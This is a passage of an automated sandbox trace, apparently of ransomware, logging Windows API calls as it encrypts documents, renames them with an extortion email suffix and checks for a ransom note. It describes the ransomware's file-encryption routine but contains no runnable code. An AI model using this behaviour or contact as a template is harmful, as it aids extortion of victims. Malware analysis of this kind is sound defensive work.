wcscat (in: _Dest=0x2fa00f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.051] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\b1ea0bjewsmargxkvn.doc.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\b1ea0bjewsmargxkvn.doc.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.051] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.052] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa00f8) returned 1 [0177.052] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.052] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f95128 [0177.052] wcscpy (in: _Dest=0x2f95128, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0177.052] wcscat (in: _Dest=0x2f95128, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0177.052] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0x20 [0177.059] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95128) returned 1 [0177.059] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97598) returned 1 [0177.059] RtlExitUserThread (Status=0x1) Thread: id = 2563 os_tid = 0x1200 [0177.060] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\e2dpsmnni y.odp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.060] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.061] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\e2dpsmnni y.odp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0177.061] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x270ffa30 | out: lpFileSize=0x270ffa30*=67915) returned 1 [0177.061] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x10947, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.061] ReadFile (in: hFile=0x450, lpBuffer=0x270ffa04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x270ffa00, lpOverlapped=0x0 | out: lpBuffer=0x270ffa04*, lpNumberOfBytesRead=0x270ffa00*=0x4, lpOverlapped=0x0) returned 1 [0177.062] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0177.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0177.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949a0 [0177.062] NtQuerySystemTime (in: CurrentTime=0x270ff9dc | out: CurrentTime=0x270ff9dc*=132121213343777522) returned 0x0 [0177.062] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0xe11909fc [0177.062] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x92d0f8fb [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x52a436e0 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x6fecbed0 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0xc3b2a5ce [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x345e5842 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0xd1f8f912 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0xd0cb0589 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x4ac95181 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x32f8b3d3 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x854b744c [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x5e1b889a [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0xff05763e [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x495ed310 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x8d08d537 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0xb131cd3e [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x77047ce4 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x25e1e460 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x3f80502f [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x1cb4b800 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x8b695169 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0xc3597856 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x5f825c86 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x62711fdf [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x671a8725 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0xa55665ed [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x89d1112d [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x3e1f20b5 [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x9488ba7e [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x87d7a4ec [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x5140a2ab [0177.063] RtlRandom (in: Seed=0x270ff9e8 | out: Seed=0x270ff9e8) returned 0x89fd7d89 [0177.074] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.074] ReadFile (in: hFile=0x450, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x270ff9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x270ff9b4*=0x4096, lpOverlapped=0x0) returned 1 [0177.075] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87230 [0177.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88be0 [0177.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0177.075] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949c8) returned 1 [0177.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0177.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0177.076] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e28 [0177.076] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e28) returned 1 [0177.076] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0177.076] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87230) returned 1 [0177.076] WriteFile (in: hFile=0x450, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x270ff9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x270ff9b4*=0x4096, lpOverlapped=0x0) returned 1 [0177.076] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.076] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x1094b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.076] WriteFile (in: hFile=0x450, lpBuffer=0x2f949c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x270ff9ec, lpOverlapped=0x0 | out: lpBuffer=0x2f949c8*, lpNumberOfBytesWritten=0x270ff9ec*=0x20, lpOverlapped=0x0) returned 1 [0177.076] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949c8) returned 1 [0177.076] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.076] WriteFile (in: hFile=0x450, lpBuffer=0x2f95030*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x270ffa00, lpOverlapped=0x0 | out: lpBuffer=0x2f95030*, lpNumberOfBytesWritten=0x270ffa00*=0x8, lpOverlapped=0x0) returned 1 [0177.076] WriteFile (in: hFile=0x450, lpBuffer=0x270ffa18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x270ffa00, lpOverlapped=0x0 | out: lpBuffer=0x270ffa18*, lpNumberOfBytesWritten=0x270ffa00*=0x4, lpOverlapped=0x0) returned 1 [0177.077] WriteFile (in: hFile=0x450, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x270ffa00, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x270ffa00*=0x4, lpOverlapped=0x0) returned 1 [0177.077] WriteFile (in: hFile=0x450, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x270ffa00, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x270ffa00*=0x6c, lpOverlapped=0x0) returned 1 [0177.077] WriteFile (in: hFile=0x450, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x270ffa00, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x270ffa00*=0x20, lpOverlapped=0x0) returned 1 [0177.077] WriteFile (in: hFile=0x450, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x270ffa00, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x270ffa00*=0x4, lpOverlapped=0x0) returned 1 [0177.077] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0177.077] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0177.077] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95030) returned 1 [0177.077] CloseHandle (hObject=0x450) returned 1 [0177.077] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x108) returned 0x305d3e0 [0177.077] wcscpy (in: _Dest=0x305d3e0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731" [0177.077] wcscat (in: _Dest=0x305d3e0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.077] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\e2dpsmnni y.odp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\e2dpsmnni y.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.078] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d3e0) returned 1 [0177.079] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f95128 [0177.079] wcscpy (in: _Dest=0x2f95128, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0177.079] wcscat (in: _Dest=0x2f95128, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0177.079] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0x20 [0177.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95128) returned 1 [0177.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3208) returned 1 [0177.079] RtlExitUserThread (Status=0x1) Thread: id = 2564 os_tid = 0x1208 [0177.080] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\eoordulzfuyzz-kxgtu.ods.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.080] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.080] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\eoordulzfuyzz-kxgtu.ods.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0177.080] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2717fe78 | out: lpFileSize=0x2717fe78*=61893) returned 1 [0177.080] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xf1c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.081] ReadFile (in: hFile=0x450, lpBuffer=0x2717fe4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2717fe48, lpOverlapped=0x0 | out: lpBuffer=0x2717fe4c*, lpNumberOfBytesRead=0x2717fe48*=0x4, lpOverlapped=0x0) returned 1 [0177.082] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.082] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e78 [0177.082] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fb8 [0177.082] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e28 [0177.082] NtQuerySystemTime (in: CurrentTime=0x2717fe24 | out: CurrentTime=0x2717fe24*=132121213343924790) returned 0x0 [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xdcfc2eca [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xbabbdd2b [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xe8b466ff [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xbef2f503 [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xd1b1d07 [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x8ce3254e [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xadbf2981 [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x5576ace3 [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x5c119d58 [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x91367c12 [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x34eab7a6 [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xbc09e73b [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x16758fc1 [0177.082] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xdd03a0ec [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xd192c54c [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x3ea01db [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xcebfddc3 [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x193c6646 [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x5590b07 [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xc5811162 [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x6cad3cd8 [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x2365b25a [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x6aabd7cb [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x2dfd5bd0 [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x106451ee [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x68e49394 [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x8b64c0db [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xb81e635 [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xc71c0344 [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0x8cfbb826 [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xbe0337f2 [0177.083] RtlRandom (in: Seed=0x2717fe30 | out: Seed=0x2717fe30) returned 0xec591636 [0177.094] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.094] ReadFile (in: hFile=0x450, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2717fdfc, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x2717fdfc*=0x4096, lpOverlapped=0x0) returned 1 [0177.094] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.094] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87230 [0177.095] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88be0 [0177.095] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ec8 [0177.095] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ec8) returned 1 [0177.095] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0177.095] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950a8 [0177.095] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e50 [0177.095] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e50) returned 1 [0177.095] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0177.095] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87230) returned 1 [0177.095] WriteFile (in: hFile=0x450, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2717fdfc, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x2717fdfc*=0x4096, lpOverlapped=0x0) returned 1 [0177.096] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.096] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xf1c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.096] WriteFile (in: hFile=0x450, lpBuffer=0x2f950a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2717fe34, lpOverlapped=0x0 | out: lpBuffer=0x2f950a8*, lpNumberOfBytesWritten=0x2717fe34*=0x20, lpOverlapped=0x0) returned 1 [0177.096] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950a8) returned 1 [0177.096] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.096] WriteFile (in: hFile=0x450, lpBuffer=0x2f95058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2717fe48, lpOverlapped=0x0 | out: lpBuffer=0x2f95058*, lpNumberOfBytesWritten=0x2717fe48*=0x8, lpOverlapped=0x0) returned 1 [0177.096] WriteFile (in: hFile=0x450, lpBuffer=0x2717fe60*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2717fe48, lpOverlapped=0x0 | out: lpBuffer=0x2717fe60*, lpNumberOfBytesWritten=0x2717fe48*=0x4, lpOverlapped=0x0) returned 1 [0177.096] WriteFile (in: hFile=0x450, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2717fe48, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2717fe48*=0x4, lpOverlapped=0x0) returned 1 [0177.096] WriteFile (in: hFile=0x450, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2717fe48, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2717fe48*=0x6c, lpOverlapped=0x0) returned 1 [0177.096] WriteFile (in: hFile=0x450, lpBuffer=0x2f94fb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2717fe48, lpOverlapped=0x0 | out: lpBuffer=0x2f94fb8*, lpNumberOfBytesWritten=0x2717fe48*=0x20, lpOverlapped=0x0) returned 1 [0177.097] WriteFile (in: hFile=0x450, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2717fe48, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2717fe48*=0x4, lpOverlapped=0x0) returned 1 [0177.097] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fb8) returned 1 [0177.097] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95080) returned 1 [0177.097] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95058) returned 1 [0177.097] CloseHandle (hObject=0x450) returned 1 [0177.097] RtlAllocateHeap (HeapHandle=0x2f60000, 